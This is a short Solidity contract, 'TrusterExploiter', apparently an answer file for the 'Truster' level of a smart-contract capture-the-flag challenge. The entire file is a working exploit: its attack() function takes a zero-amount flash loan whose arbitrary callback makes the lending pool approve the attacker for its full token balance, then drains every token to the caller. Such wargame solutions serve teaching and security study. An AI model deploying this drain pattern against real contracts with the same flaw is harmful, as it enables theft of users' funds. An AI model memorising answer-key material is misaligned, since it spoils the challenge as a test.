dvd3_ans1.sol

contract TrusterExploiter {
    TrusterLenderPool public immutable pool;
    IERC20 public immutable token;

    constructor(address _pool, address _token) {
        pool = TrusterLenderPool(_pool);
        token = IERC20(_token);
    }

    function attack() external {
        uint256 poolBalance = token.balanceOf(address(pool));
        pool.flashLoan(
            0,
            msg.sender,
            address(token),
            abi.encodeWithSignature(
                "approve(address,uint256)",
                address(this),
                poolBalance
            )
        );
        token.transferFrom(address(pool), msg.sender, poolBalance);
    }
}